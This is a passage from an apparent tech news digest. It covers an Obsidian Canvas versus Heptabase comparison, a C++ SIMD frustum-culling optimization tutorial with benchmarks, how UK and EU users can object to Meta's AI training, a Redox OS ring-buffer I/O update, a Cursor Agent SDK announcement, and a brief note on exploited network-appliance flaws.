What Connection Lines Mean	Visual coordinates stored in the board file; portable across tools, but unindexed in the vault graph	Relational connections surfaced in the Card Info panel; indexed in the workspace, but locked into the app
Context Awareness	Canvas-bound: Context lives in the canvas file, not in the note itself	Context-aware: Every card tracks all whiteboards it belongs to and all connected cards
Portability vs. Indexing	Portable, but unindexed: The `.canvas` file uses open JSON Canvas, but notes remain unaware of connections	Indexed, but proprietary: Connections compound across boards, but cannot be exported as an open interactive graph
Best Fit	Project roadmaps, system architecture diagrams, and visual brainstorming sketches	Cumulative research and long-term thinking bridging spatial exploration and linear writing

Obsidian Canvas: A Visual Layer Stored Inside a Single File

Obsidian is built on a local-first philosophy: your knowledge base is a folder of plain-text Markdown files. Obsidian chose the file as its atomic unit. That choice is what makes a vault portable and durable—and it is also why a canvas can only be another file, with nowhere to store a connection except inside itself.

1. Spatial Organization: Embedding Files into a Single Canvas

When you create an Obsidian Canvas, you create a standalone .canvas file (stored on disk as JSON).

This creates an immediate architectural split:

Cards created inside the canvas stay inside that file. If you type out ten quick thought cards directly on a canvas, those cards exist only inside that .canvas file. They do not appear as independent notes in your vault unless you manually convert them into separate Markdown files one by one.
External notes are embedded views. When you drag an existing .md file onto a canvas, Obsidian renders an editable viewport into that file. However, the canvas is simply referencing the file’s path from the outside.

2. Connecting Ideas: Visual Lines vs. Real Graph Links

In a spatial workspace, the lines connecting notes often carry as much meaning as the notes themselves.

In Obsidian Canvas, the arrows you draw on a board are stored as visual coordinate data inside that specific .canvas file. They do not register as Markdown links or [[wikilinks]] , and they do not appear in Obsidian’s global Graph View. If you draw an arrow from Note A to Note B on a canvas, the core link engine records no link between the two notes.

This architectural limitation is a frequent discussion point among users. In an Obsidian community forum thread introducing the Canvas Links plugin, one user noted:

“visual connections in the canvas are not actual links and so don’t show up in graph view.”

While community plugins can bridge embeds and show which canvas references a file, the core canvas lines remain localized visual data rather than relational graph links.

3. Context Awareness: Context Lives in the Canvas, Not in the Note

Because Obsidian’s architecture is strictly file-centric, Markdown files and .canvas files are structurally separated.

If a Markdown file is embedded across multiple canvases, it is simply being viewed from the outside. The file itself stores no metadata about its visual placement:

When you open the note in your regular editor, it does not display which canvases currently contain it.
It does not know what neighboring cards sit next to it on any canvas.
It cannot see what arrow labels or connections point to it.

The moment you leave the .canvas file, that spatial context stays behind in the canvas file, leaving the note as an isolated piece of linear text.

The Verdict on Obsidian Canvas

Obsidian Canvas is best suited for visual brainstorming, process flowcharts, and system mapping. Because connections remain within the canvas file, it is less suited for atomic notes that need to accumulate links across many boards over time.

Heptabase: A Context-Aware Thinking Workbench

Heptabase approaches spatial note-taking from the opposite architectural perspective. Instead of treating the whiteboard as a container file that embeds independent documents, Heptabase separates what a note is from where a note is viewed .

1. Spatial Organization: Whiteboards as Non-Owning Views

In Heptabase, the atomic unit of the system is the card rather than the file.

As defined in Heptabase’s official documentation on Fundamental Elements :

“Whiteboards do not own cards. All cards belong to the Card Library. The same card can be placed on multiple whiteboards at the same time.”

Because whiteboards are non-owning visual views over a central library, placing a card on a whiteboard does not isolate or nest it. You can place the exact same card across multiple whiteboards simultaneously without duplicating content or breaking sync. An update made to a card on one board immediately reflects everywhere else that card appears.

2. Connecting Ideas: Whiteboard Connections in the Card Info Panel

When you draw a connection line between two cards on a Heptabase whiteboard, the relationship is reflected directly in the workspace outside the board itself:

Open Card A’s Card Info panel, and it lists Card B under its connected cards, noting the whiteboard where the arrow was drawn.
Open Card B’s Card Info panel, and it displays the incoming connection from Card A .
Clicking a connection entry in either card jumps you directly to that exact spatial coordinate on the whiteboard.

While inline @mentions in card text handle linear cross-references, whiteboard lines provide a dedicated spatial linking layer that cards track wherever they are opened.

3. Content Architecture: Cards That Preserve Context

Because cards are global entities, they retain their relational history across the entire workspace.

Opening a card’s Card Info Panel reveals its complete spatial context:

Every whiteboard that currently contains this card.
Every card that connects into it or out of it across all boards.
A direct jump link back to the card’s exact position on any referenced whiteboard.

When you examine a card outside of any board, its visual and relational context remains accessible.

The Architectural Trade-Off of Heptabase: Portability vs. Integration

This deep contextual integration comes with a clear structural trade-off: data portability.

Obsidian Canvas saves spatial arrangements as standalone .canvas files adhering to the open JSON Canvas specification—meaning any external script or third-party tool can parse your boards.

Heptabase, by contrast, manages cards, connections, and whiteboard coordinates within its proprietary system. While Heptabase allows you to export your cards into standard Markdown files, your whiteboards export as static image files or linear card lists. The interactive visual lines and relational graph connecting those cards cannot be exported into an open visual format like JSON Canvas. You trade file durability and vendor-neutral portability for an integrated spatial workspace.

The Verdict on Heptabase

Heptabase functions well as a cumulative thinking workbench for visual researchers. Its global card architecture allows relationships established on whiteboards to compound across your workspace over time. However, adopting Heptabase requires committing to a specialized, proprietary ecosystem rather than relying on standard plain-text files.

Beyond 2D Whiteboards: When Spatial Brainstorming Meets Rigorous Writing

Understanding the architectural difference between Obsidian Canvas (a visual layer stored inside an individual file) and Heptabase (global cards mapped across non-owning views) clarifies how each tool approaches spatial organization.

Yet for researchers and writers whose primary goal is producing structured arguments rather than visual maps, 2D whiteboards themselves encounter natural limits:

2D arrows lack explicit logical semantics: On a whiteboard, an arrow between Card A and Card B indicates connection, but not logic. It does not formally specify whether an idea supports a claim, refutes an assumption, or serves as a prerequisite condition .
Translation friction from 2D space to linear prose: Whiteboards arrange thoughts across spatial coordinates, whereas essays, reports, and memos are read sequentially. Turning a sprawling 2D canvas into a cohesive manuscript still forces you to manually flatten the spatial arrangement back into linear paragraphs, where the underlying logical skeleton often gets lost.

A Third Approach: Explicit Proposition Trees

Whiteboards optimize for visual brainstorming; documents optimize for sequential reading. Bridging the gap between messy exploration and rigorous writing requires modeling the logical dependencies of ideas—claims, evidence, and counterarguments—rather than 2D coordinates.

Choose Obsidian Canvas if you prioritize local-first data ownership, durability, and standard Markdown files, and need a lightweight spatial board for diagrams, concept maps, or temporary scratchpads.
Choose Heptabase if your research requires visual thinking where atomic cards, PDF highlights, and spatial connections compound into a persistent relational network across topics, and you accept working within a proprietary database schema.
Explore FluxLinks if you want to bypass the friction of flattening 2D whiteboards by structuring complex research directly into hierarchical proposition trees and structured prose.

Frequently Asked Questions

Can I export my Heptabase whiteboards and cards into Obsidian?

You can export the text content of your Heptabase cards into standard Markdown files and import them directly into an Obsidian vault. However, whiteboards export either as static images or linear lists. The interactive visual lines and spatial coordinates connecting those cards cannot be exported into an open visual format like JSON Canvas , meaning spatial relational graphs cannot be migrated seamlessly between the two tools.

Do connection lines in Obsidian Canvas count as backlinks in the Graph View?

No. Connection lines and arrows drawn on an Obsidian Canvas are stored strictly as layout data inside that individual .canvas JSON file. They do not write [[wikilinks]] into the connected Markdown notes, nor do they appear in Obsidian’s global Graph View or backlink panels.

Yes and no. You can embed the same .md note file across multiple .canvas files, and any text edits made to that note will stay in sync. However, the connections, neighboring cards, and arrow labels on each canvas remain isolated to their respective .canvas files; an individual note has no native awareness of which canvases embed it or how it is linked across them.

Is Obsidian Canvas fully offline and local-first compared to Heptabase?

Yes. Obsidian Canvas operates entirely on local plain text and local JSON files without requiring a user account or network connection. Heptabase supports client-side offline editing, but its unified card library and cross-device sync are built around a proprietary cloud database architecture.

Making SIMD Code Scale to Any Vector Width

Original Article

I will be using x86 naming throughout this post, but the concepts apply to other architectures too. Basic familiarity with SIMD and x86 assembly is assumed; uops.info and Intel’s intrinsics guide explain any instruction you don’t recognize.

A lot of SIMD code, particularly in the graphics programming space, use vec3/vec4 types all over the place. The issue is that this typically doesn’t scale beyond the SSE instruction set. In this post I want to share how you can “transpose” those vectors into lanes to scale your math operations beyond just those typical 4 component XMM registers, and have the efficiency scale up to 8 or 16 wide vectors (or maybe 32 wide vectors, if we ever get them).

To avoid the use of intrinsics, I’ll use Clang’s vector extensions ( ext_vector_type ) to represent the operations, since they’re easier to read and the logic can easily be reimplemented with intrinsics.

We’re going to look at a simple case on how to do N dot products at the same time (where N is the architecture’s SIMD width), and a typical CPU frustum culler as a more advanced example.

Frustum culling should ideally be done on a GPU, but that’s beyond this article

All measurements below have been made on a Ryzen 7 5800 (Zen 3) CPU, with Clang 23.1.0 targeting Windows x64. The compile flags are -std=c++20 -O3 -ffast-math , along with -march=x86-64-v3 (AVX2, FMA and BMI2) for the 8 lane code, and -march=x86-64-v2 (SSE4.2) for the 4 lane equivalents, for anyone who wants to follow along. Every number is the best of 12 runs, and varies by about 2% from run to run. All of the code is on Compiler Explorer , with one pane for each instruction set.

-ffast-math lets the compiler assume no value is NaN or infinite. If your bounding boxes can have NaN or infinite positions or sizes, don’t use the flag: the culler’s comparisons may then give any answer for those boxes.

The basic example

Let’s take a look at what one dot product typically compiles to:

using vec3 = float __attribute__((ext_vector_type(3)));
using vec4 = float __attribute__((ext_vector_type(4)));
using vec8 = float __attribute__((ext_vector_type(8)));

float dot(vec3 a, vec3 b) {
    return a.x * b.x + a.y * b.y + a.z * b.z;
}

float dot(vec4 a, vec4 b) {
    return a.x * b.x + a.y * b.y + a.z * b.z + a.w * b.w;
}

The assembly:

dot(float vector[3], float vector[3]):
    vmovaps    xmm0, xmmword ptr [rcx]
    vmulps     xmm0, xmm0, xmmword ptr [rdx]
    vmovshdup  xmm1, xmm0
    vaddss     xmm1, xmm0, xmm1
    vshufpd    xmm0, xmm0, xmm0, 1
    vaddss     xmm0, xmm1, xmm0
    ret

dot(float vector[4], float vector[4]):
    vmovaps    xmm0, xmmword ptr [rcx]
    vmulps     xmm0, xmm0, xmmword ptr [rdx]
    vshufpd    xmm1, xmm0, xmm0, 1
    vaddps     xmm0, xmm0, xmm1
    vmovshdup  xmm1, xmm0
    vaddss     xmm0, xmm0, xmm1
    ret

Not bad. And surprisingly, a vec3 dot costs the same as a vec4 dot. Regardless, the problem is that if we want to do multiple dot products, the cost scales linearly.

A tip for Windows: the default x64 calling convention passes any vector argument by pointer, which is where the vmovaps and the memory operand above come from. Marking the function __vectorcall (or compiling with /Gv in clang-cl and MSVC) passes vectors in registers instead, as the System V ABI on Linux already does. /Gv leaves member functions out, so a member function that takes vectors by value needs __vectorcall either way. With it, the dot product compiles to:
dotVectorcall(float vector[4], float vector[4]):
    vmulps     xmm0, xmm1, xmm0
    vshufpd    xmm1, xmm0, xmm0, 1
    vaddps     xmm0, xmm0, xmm1
    vmovshdup  xmm1, xmm0
    vaddss     xmm0, xmm0, xmm1
    ret

Let’s try transposing the vec4 one, so that each component of the vectors are stored together as one vector:

struct Vec4Lanes {
    vec4 x;
    vec4 y;
    vec4 z;
    vec4 w;
};

vec4 dot(const Vec4Lanes& a, const Vec4Lanes& b) {
    return a.x * b.x + a.y * b.y + a.z * b.z + a.w * b.w;
}

The assembly:

dot(Vec4Lanes const&, Vec4Lanes const&):
    vmovaps      xmm0, xmmword ptr [rdx]
    vmovaps      xmm1, xmmword ptr [rdx + 16]
    vmovaps      xmm2, xmmword ptr [rdx + 32]
    vmovaps      xmm3, xmmword ptr [rdx + 48]
    vmulps       xmm0, xmm0, xmmword ptr [rcx]
    vfmadd231ps  xmm0, xmm1, xmmword ptr [rcx + 16]
    vfmadd231ps  xmm0, xmm2, xmmword ptr [rcx + 32]
    vfmadd231ps  xmm0, xmm3, xmmword ptr [rcx + 48]
    ret

Hardly any extra code generated, except we now generate 4 dot products at once, at the cost of a few loads, since the lanes are passed by reference.

What about doing 8 at the same time?

struct Vec8Lanes {
    vec8 x;
    vec8 y;
    vec8 z;
    vec8 w;
};

vec8 dot(const Vec8Lanes& a, const Vec8Lanes& b) {
    return a.x * b.x + a.y * b.y + a.z * b.z + a.w * b.w;
}

The assembly:

dot(Vec8Lanes const&, Vec8Lanes const&):
    vmovaps      ymm0, ymmword ptr [rdx]
    vmovaps      ymm1, ymmword ptr [rdx + 32]
    vmovaps      ymm2, ymmword ptr [rdx + 64]
    vmovaps      ymm3, ymmword ptr [rdx + 96]
    vmulps       ymm0, ymm0, ymmword ptr [rcx]
    vfmadd231ps  ymm0, ymm1, ymmword ptr [rcx + 32]
    vfmadd231ps  ymm0, ymm2, ymmword ptr [rcx + 64]
    vfmadd231ps  ymm0, ymm3, ymmword ptr [rcx + 96]
    ret

Same result.

Why doesn’t the compiler do this for us? Because it would have to change the data layout. A compiler will happily vectorize a loop over an array of floats, but turning your array of vec4 s into four arrays of floats changes what every other piece of code reading that memory sees, so no compiler will reorder and transpose your data for you. That part is up to us.

A more complex example

Doing many dot products is cool and all, but it doesn’t have much of a practical use on its own. Let’s try applying the same trick to an average frustum culler.

The math for those who are unfamiliar with it: A (camera) frustum consists of six planes with their normals pointing outwards. A plane is stored as (n, d) : its unit normal n , and d , its offset along the normal, chosen so that dot(n, p) + d is the signed distance from a point p to the plane. A point is in front of the plane when that distance is positive, and if a box is entirely in front of any one plane, we can cull it.

A plane, its normal n and offset d, with the signed distances of a point in front of it and one behind it

A camera frustum with a box inside it, a box that straddles its left plane and stays visible, and a box entirely in front of its right plane, which is culled

A box is stored as its center and its half extent: the offset from the center to a corner along each axis, so its corners are center ± halfExtent . A simple way to cull it is to check if all eight corners are in front of a plane.

Sample code, where each plane is a plain vec4 with the normal in xyz and the offset along the normal in w :

struct Box {
    vec3 center;
    vec3 halfExtent;
};

vec3 abs(vec3 v) {
    return __builtin_elementwise_abs(v);
}

bool outsidePlane(vec4 plane, const Box& box) {
    for (int c = 0; c < 8; c++) {
        vec3 corner = box.center + box.halfExtent * vec3{
            c & 1 ? 1.0f : -1.0f,
            c & 2 ? 1.0f : -1.0f,
            c & 4 ? 1.0f : -1.0f
        };

        if (dot(plane.xyz, corner) + plane.w < 0.0f) {
            return false;
        }
    }

    return true;
}

void cullNaive(uint64_t* results, const vec4* planes, const Box* boxes, uint32_t count) {
    for (uint32_t i = 0; i < count; i++) {
        bool visible = true;

        for (uint32_t p = 0; p < 6; p++) {
            if (outsidePlane(planes[p], boxes[i])) {
                visible = false;
                break;
            }
        }

        const uint32_t shift = i % 64;
        results[i / 64] = (results[i / 64] & ~(uint64_t(1) << shift)) | (uint64_t(visible) << shift);
    }
}

The cost is 13.4 ns per box. We can do better.

A simple optimization

You can achieve the same result by testing only the corner with the lowest signed distance: center - sign(n) * e , one step against the normal on every axis. If even that corner is in front of the plane, the whole box is:

float distance = dot(n, c) - dot(abs(n), e) + d; // outside if distance >= 0

A box entirely in front of a plane, which is culled, and a box straddling it, which is kept, each with its center, half extent and lowest corner

The second term is the distance from the center to that corner, measured along the normal, so one test replaces eight:

void cullNearestCorner(uint64_t* results, const vec4* planes, const Box* boxes, uint32_t count) {
    for (uint32_t i = 0; i < count; i++) {
        bool visible = true;

        for (uint32_t p = 0; p < 6; p++) {
            const float distance = dot(planes[p].xyz, boxes[i].center)
                                 - dot(abs(planes[p].xyz), boxes[i].halfExtent) + planes[p].w;

            if (distance >= 0.0f) {
                visible = false;
                break;
            }
        }

        const uint32_t shift = i % 64;
        results[i / 64] = (results[i / 64] & ~(uint64_t(1) << shift)) | (uint64_t(visible) << shift);
    }
}

That’s 3.0 ns per box, so we’re already four times faster than the basic implementation.

The branch predictor

Going from 10,000 boxes to 100,000, the same loop suddenly takes 12.7 ns per box. That’s only 3 MB of data, read front to back, so memory isn’t the problem. To see what is, I timed a 1,000-box scene and cycled through a different number of scenes between runs:

Scenes	ns per box
1	3.0
16	3.0
18	5.2
20	7.3
32	11.3
200	13.3
200 identical copies	3.0

The last two rows touch the same amount of memory. The difference is that in the last one every scene is a copy, so the early outs come in the same order every time. The CPU predicts each branch before it knows the answer, and Zen 3 can memorize the early outs of about 16,000 boxes. So if your benchmark culls the same small scene in a loop, you’re mostly benchmarking the branch predictor. Here, it made the nearest-corner test look 4.4× faster than it is on new data.

Culling multiple boxes at the same time

Now that our benchmark measures the culler rather than the branch predictor, back to the point of this post: making full use of the available SIMD width. We can just use templates to make the same code work on any type T, so float, double, vecN all work.

template <typename T>
struct Vec3Lanes {
    T x, y, z;
};

template <typename T>
T dot(const Vec3Lanes<T>& a, const Vec3Lanes<T>& b) {
    return a.x * b.x + a.y * b.y + a.z * b.z;
}

template <typename T>
Vec3Lanes<T> cross(const Vec3Lanes<T>& a, const Vec3Lanes<T>& b) {
    return { a.y * b.z - a.z * b.y, a.z * b.x - a.x * b.z, a.x * b.y - a.y * b.x };
}

And then the boxes can be expanded similarly:

template <typename T>
struct Box3Lanes {
    Vec3Lanes<T> center, halfExtent;

    T getMinSignedDistance(vec4 plane) const {
        const vec3 n = plane.xyz, a = abs(n);
        return n.x * center.x - a.x * halfExtent.x
             + n.y * center.y - a.y * halfExtent.y
             + n.z * center.z - a.z * halfExtent.z
             + plane.w;
    }
};

The boxes are stored in blocks of Box3Lanes , one box per lane, with the last block padded out. The number of lanes W is 8 with AVX2 and 4 with SSE, so the same code fills whatever register size we compile for:

#ifdef __AVX2__
constexpr uint32_t W = 8;
#else
constexpr uint32_t W = 4;
#endif

using floatW = float __attribute__((ext_vector_type(W)));
using intW = int32_t __attribute__((ext_vector_type(W)));

A whole block can’t take the same early out, so the branch has to turn into a mask:

template <typename P>
intW visibleMask(const Box3Lanes<floatW>& block, const P* planes) {
    intW visible = intW(-1);
    for (uint32_t p = 0; p < 6; p++) {
        visible &= block.getMinSignedDistance(planes[p]) < 0.0f;
    }
    return visible;
}

[[gnu::always_inline]] inline void writeLanes(uint64_t* results, intW visible, uint32_t first, uint32_t count) {
    for (uint32_t lane = 0; lane < W && first + lane < count; lane++) {
        const uint32_t i = first + lane;
        const uint64_t held = visible[lane] & 1;
        results[i / 64] = (results[i / 64] & ~(uint64_t(1) << (i % 64))) | (held << (i % 64));
    }
}

void cullLanes(uint64_t* results, const vec4* planes, const Box3Lanes<floatW>* blocks, uint32_t count) {
    for (uint32_t first = 0; first < count; first += W) {
        writeLanes(results, visibleMask(blocks[first / W], planes), first, count);
    }
}

This runs at 1.24 ns per box with AVX2 and 2.87 ns with SSE. On AVX2 that’s 10× faster than the nearest-corner test on fresh data. The SSE number is disappointing, though. Against the nearest-corner test with a trained predictor it’s only 1.3× faster, which isn’t much to show for four lanes. So let’s look at the assembly.

The assembly in question

For one block of eight boxes against six planes, the math compiles to:

6 loads;
6 vmulps and 30 vfmadd231ps ;
6 vcmpltps and 5 vandps to combine the masks.

Those 53 instructions are fine. The problem is that the whole loop is about 220.

The frustum is rebuilt in every iteration.

vandps        xmm7, xmm3, xmmword ptr [rdx]   ; abs(normal) of plane 0
vbroadcastss  ymm0, xmm7                      ; splat |n.x|
vmovups       ymm1, ymmword ptr [rsp + 48]    ; reload a permutation...
vpermps       ymm5, ymm1, ymm7                ; ...that splats |n.y|

Every block gets 30 vbroadcastss , 12 vpermps and 6 vandps , and none of them have anything to do with the block. The compiler does this because six planes need 42 splats and AVX2 only has 16 ymm registers. Its register allocator figures that recomputing a broadcast is cheaper than spilling it and loading it back. For a plain broadcast from memory that’s true, but it redoes the abs and the permutes too.

The results are written one bit at a time.

vpextrd  r9d, xmm3, 3                  ; take one lane out of the mask
mov      r15d, r10d
and      r15b, 56                      ; the block's first bit within the word
mov      ebp, 8
shlx     rbp, rbp, r15
andn     rbp, rbp, r11                 ; clear the lane's bit
or       r15b, 3                       ; the lane's bit within the word
shlx     r11, r9, r15                  ; shift the lane to that bit
or       r11, rbp
mov      qword ptr [rcx + 8*rsi], r11  ; store the word
lea      r9, [rax - 4]
cmp      r9d, r10d                     ; was that the last object?
je       .LBB12_11

That’s thirteen instructions per lane, about 100 per block, which is more than the math itself.

Splatting the planes once

So we do the splatting ourselves, once, before the loop, and keep the results in memory:

template <typename T>
struct PlaneLanes {
    Vec3Lanes<T> normal, absNormal;
    T constant;
};

// Broadcasts each component of v into its own register
Vec3Lanes<floatW> splat(vec3 v) {
    return { floatW(v.x), floatW(v.y), floatW(v.z) };
}

PlaneLanes<floatW> splatPlane(vec4 plane) {
    return { splat(plane.xyz), splat(abs(plane.xyz)), floatW(plane.w) };
}

void cullLanesSplatOnce(uint64_t* results, const vec4* frustum, const Box3Lanes<floatW>* blocks, uint32_t count) {
    PlaneLanes<floatW> planes[6];
    for (uint32_t p = 0; p < 6; p++)
        planes[p] = splatPlane(frustum[p]);

    for (uint32_t first = 0; first < count; first += W) {
        writeLanes(results, visibleMask(blocks[first / W], planes), first, count);
    }
}

Box3Lanes gets a second overload for the splatted planes:

T getMinSignedDistance(const PlaneLanes<T>& p) const {
    return dot(p.normal, center) - dot(p.absNormal, halfExtent) + p.constant;
}

Now the compiler reads the planes straight from the stack as memory operands of the FMAs:

vfmadd231ps  ymm3, ymm15, ymmword ptr [rsp + 1056]

That gets AVX2 down to 0.98 ns per box and SSE to 1.85 ns. SSE benefits more because its blocks only hold four boxes, so it was rebuilding the frustum twice as often.

Writing the block at once

The eight result bits of a block make up exactly one byte, so we can turn the mask into one bit per lane and store all eight at once. With SSE, two blocks of four share a byte, so each one writes its half:

using boolW = bool __attribute__((ext_vector_type(W)));

void writeBlock(uint64_t* results, intW visible, uint32_t first) {
    const boolW bits = __builtin_convertvector(visible, boolW);    // one bit per lane
    uint8_t& byte = reinterpret_cast<uint8_t*>(results)[first / 8];

    if constexpr (W == 8) {
        byte = __builtin_bit_cast(uint8_t, bits);    // store all eight
    } else {
        const uint32_t shift = first % 8;            // two blocks of four share a byte
        const uint8_t held = __builtin_bit_cast(uint8_t, bits) & 0xF;
        byte = (byte & ~(0xF << shift)) | (held << shift);
    }
}

void cullLanesBlockWrite(uint64_t* results, const vec4* planes, const Box3Lanes<floatW>* blocks, uint32_t count) {
    uint32_t first = 0;
    for (; first + W <= count; first += W) {
        writeBlock(results, visibleMask(blocks[first / W], planes), first);
    }

    if (first < count) {    // only the last block, if it isn't full, still goes lane by lane
        writeLanes(results, visibleMask(blocks[first / W], planes), first, count);
    }
}

The partial last block is handled after the loop rather than with a branch inside it. That matters more than it looks: when the mask is created in one basic block and turned into bits in another, Clang no longer knows every lane is either all ones or all zeros, and replaces the single vmovmskps with a chain of shuffles and packs.

The writeback now looks like this:

vmovmskps  r10d, ymm2                    ; one bit per lane
mov        byte ptr [rcx + rax], r10b    ; store all eight

With both changes in place, AVX2 takes 0.67 ns per box ¹ and SSE 1.84 ns. The loop is down to about 95 straight-line instructions per block of eight, or about 3 cycles per box.

Results

All times are in nanoseconds per box, for 10,000 boxes. The numbers in brackets are for 100,000 boxes, which is too many for the branch predictor to memorize.

Method	AVX2, 8 lanes	SSE4.2, 4 lanes
The naive method	13.4 (17.2)	15.8 (19.1)
Nearest corner	3.04 (12.7)	3.77 (13.9)
One box per lane	1.24	2.87
Splatting the planes once	0.98	1.85
Block writeback, without splatting	1.04	2.69
Splatting once and block writeback	0.67 ¹	1.84

Splatting once helps both, SSE the most (1.55× on its own, against 1.27× on AVX2), while the block writeback alone does less (1.19× on AVX2, 1.07× on SSE). On AVX2 the two compound, since once the splats are gone, the bit-by-bit writeback is most of what’s left; together they make the one-box-per-lane version 1.85× faster. On SSE the writeback adds nothing once the planes are splatted, and the combination stays at 1.56×. From start to finish, the culler got about 20× faster, or 25× on data the branch predictor hadn’t seen before.

Conclusion

Most of the speedup comes from turning vectors into lanes. Eight dot products cost three instructions, and the early outs become masks. The less obvious part is that the straightforward SIMD version spent more instructions moving data around than on the actual math, and it took two more changes to get rid of that. Precompute whatever the compiler can’t keep in registers, and write the results a whole block at a time. You’ll run into the same two problems in any loop that tests lots of objects against a few shared values.

¹ Only when the stack happens to be 32-byte aligned. Windows and Linux only guarantee 16 bytes, and Clang spills the splatted planes’ ymm registers with unaligned stores rather than realigning the stack, so in some processes half of the reloads straddle a cache line, and the same loop takes 0.99 ns. Adding __attribute__((force_align_arg_pointer)) to the function makes Clang realign the stack in its prologue, which gives 0.67 ns every time.

If You're In the UK or EU, Here's How to Object to Meta's AI Training

403 Media

www.404media.co

In light of Meta's new terms that will allow it to scrape users' data for AI, people in the EU and UK have the option to "object" to certain uses of their information, for now....

Original Article

Earlier this month, Meta updated its commercial terms of use for business accounts to allow it to “use any content from such domains, web pages, or URLs to provide, develop, improve, research, train, and maintain the integrity of” Meta’s products.

Many artists and small business owners that rely on Instagram and Facebook are livid at Meta granting itself permission to use their content, including from websites simply connected to their Meta accounts, to train AI. But for users in the United Kingdom and European Union, for now, there’s a way to object.

Meta buried this change in its Commercial Terms , and Nieman Lab first reported on the change. The update was originally set to go into effect on October 30, but following backlash, Meta changed the effective date to November 20. Adding to the confusion, Meta then removed the word “train” from a list of allowed use cases, Nieman Lab reported , and limited those uses to “advertising and business products,” where previously it said that data would be used for all Meta products. Those terms still allow Meta plenty of leeway for scraping users’ data to develop its products, however.

EU users’ personal data rights are governed by the General Data Protection Regulation and the AI Act. GDPR , which became enforceable in 2018, requires explicit consent to use personal data. This includes the right to object to one’s data being used. The AI Act, which went into effect in 2024, dictates how AI companies can use personal data, and how people can opt in or out, stating that they can withdraw consent at any time. The UK has its own version of the GDPR . The European Commission states : “The GDPR rules only apply to personal data about individuals; they do not govern data about companies or any other legal entities. However, information in relation to companies may constitute personal data where it allows the identification of a natural person.”

Several users based in the UK and EU have explained how to object on Instagram. Instagram user bookish.sil posted a walkthrough of how they did it on mobile: by clicking the three lines on their account, going to the privacy center, and clicking “object,” which goes to a form that asks users to write why they are objecting to their data being used. They received an email from Meta saying their objection was approved. Instagram user jenniqueart posted a similar walkthrough with the same results.

My Meta accounts are based in the US, but using a VPN to locate my IP address in London, I could see options in my Meta privacy settings that would let me object to the use of my information by Meta AI. To get there on desktop with a VPN on, I went to my account privacy center , clicked “Submit a privacy rights request” at the bottom, selected Instagram, clicked “How can I object to the processing of my information?” and got to a page where I could choose to object to the use of my information for Meta AI or third parties, which were two separate options.

The page with the option “How can I object to the processing of my information?”

The page with the option “object to the use of my information for Meta AI"

When my location is based in the US, these options don't appear.

When I clicked through the option to “object to the use of my information for Meta AI,” however, it returned an error page that said “This form is only available to people in certain regions.” GDPR is meant to apply to wherever someone is located at the time, but since this objection applies to the preferences of one account, it might be based on where the account was created. I tried again located in Belgium and got the same results. I’ve asked Meta to clarify.

A page that says "this form is only available to people in certain regions"

As many have already pointed out in the comments on UK and EU users who’ve posted walkthroughs, these objection steps aren’t available to people outside of those countries, and as Meta continuously changes its platform, these steps might not work for everyone always. Unless something changes before November 20, the rest of us are screwed.

The Redox OS project, which is a Unix-like microkernel-based operating system written in Rust, has published a report on the work that it has done in the last year to implement io_uring-like I/O .

Last year, the Redox team received a grant to develop io_uring-like Ring Buffer support at the system task level, as a first step towards ring buffer communications between the application and the majority of system services. This phase of the work finished up in September, as the last pieces were put in place.

[...] In addition to implementing the Ring Buffer machinery for our system services and drivers that can support it, an io_uring and liburing -like API for applications was completed and demonstrated. There was also substantial work done on support crates, including an async executor for drivers.

And there was some very exciting work on various performance improvements, to allow much faster switching between applications and their system services. But I will let the team tell you all the technical details.

The Agent SDK

Original Article

Software teams use agents defined as code to handle recurring work across the development lifecycle. These agents connect to the places where a team works and act when relevant events occur, whether that means reviewing a pull request, executing a compliance workflow, or investigating an incident.

The most useful agents are tailored to how a particular team operates. Until now, building one has generally meant adopting a product designed around someone else's workflow or starting from scratch.

Today, we're releasing the Agent SDK, the framework we use to build our own managed agents like Bugbot, Security Reviewer, and Rollouts. Agent SDK allows you to define agents in code and manage them like any other software project. Start from a template or point your coding agent at our docs. When the agent is ready, agent-sdk deploy it to Cursor infrastructure with one command.

Build around your workflow

The Agent SDK lets you quickly build and deploy agents that work the way your team does. They respond to the events your team already handles and follow policies your team can inspect and change.

Code review is one example. Each team has its own standards for what requires attention and who should review it. With the Agent SDK, you can build an agent that responds to pull request events from GitHub, GitLab, or Bitbucket. The agent can assess the risk of a change, route it to the right team, and approve changes that meet your policy.

As an example, a team within Cursor had built a large, fast-growing knowledge base of lessons learned and wanted every pull request checked against it. This way, the team's past decisions would hold even as the codebase changed. With the Agent SDK, they built kb-reviewer in about a day. It now runs on every PR in their main codebase, flags changes that contradict a recorded lesson, cites the note behind each finding, and encourages engineers to reconcile the discrepancies it reports.

For more complicated work, agents can hand a task to another specialized agent with its own tools and sessions. They can also divide a job among subagents working in parallel.

The Agent SDK also supports evals and event replay out of the box, allowing for rapid development with assurances that critical workflows execute the way you expect. The PGA Tour uses the Agent SDK to power their software development factory. Evals keep them moving quickly.

The Agent SDK has enabled PGA to build every component of our software factory on Cursor's infrastructure. It provides the flexibility we need to build agents that drive our development process. And built-in support for evals allows us to quickly iterate on new ideas and optimize existing capabilities reliably.

Define everything in code

An Agent SDK agent is organized like a small software project. The instructions that guide it sit alongside code for its tools, connections to outside services, and the evals used to test it.

Each file represents something the agent knows or can do. Prompts are written in Markdown, while tools are defined as TypeScript functions. Because everything is code, changes can go through the same version control and review process as the rest of your software.

Deploy agents wherever you need them

When you're ready to put an agent into use, you can deploy it to Cursor by running agent-sdk deploy from the project directory. The command builds the agent, gives it a URL, and starts it on our infrastructure. You can manage secrets and integrations from the dashboard, while continuing to use the same logs, evals, and playground available locally.

You can also run the agent on your own infrastructure. Each agent runs as a single Node process that can be packaged in a container.

Get started

Getting started with the Agent SDK looks much like starting any other software project. Create a project directory, then launch the local playground:

import { homedir } from "node:os";
import { join } from "node:path";
import { defineAgent } from "@cursor/agent-sdk";

export default defineAgent({
  name: "Robo",
  model: {
    id: "composer-2.5",
    params: [
      { id: "effort", value: "high" },
      { id: "fast", value: "true" },
    ],
  },
  local: {
    cwd: join(homedir(), ".cache", "factory", "robo"),
  },
})

From there, you can iterate locally and run evals before deploying with agent-sdk deploy .

The Agent SDK also ships with skills that guide coding agents through the development process. You can point an agent at the docs and have it help build the bot with you.

The Agent SDK is generally available today. Read the docs and get started.

InfraTrust report warns of exploited flaws in critical network infrastructure

Original Article

InfraTrust

Attackers are actively exploiting vulnerabilities across critical network infrastructure, and PHP flaws known as "PHP2Shell" put the web management interfaces of firewalls, VPNs, application delivery controllers, and other appliances at risk.

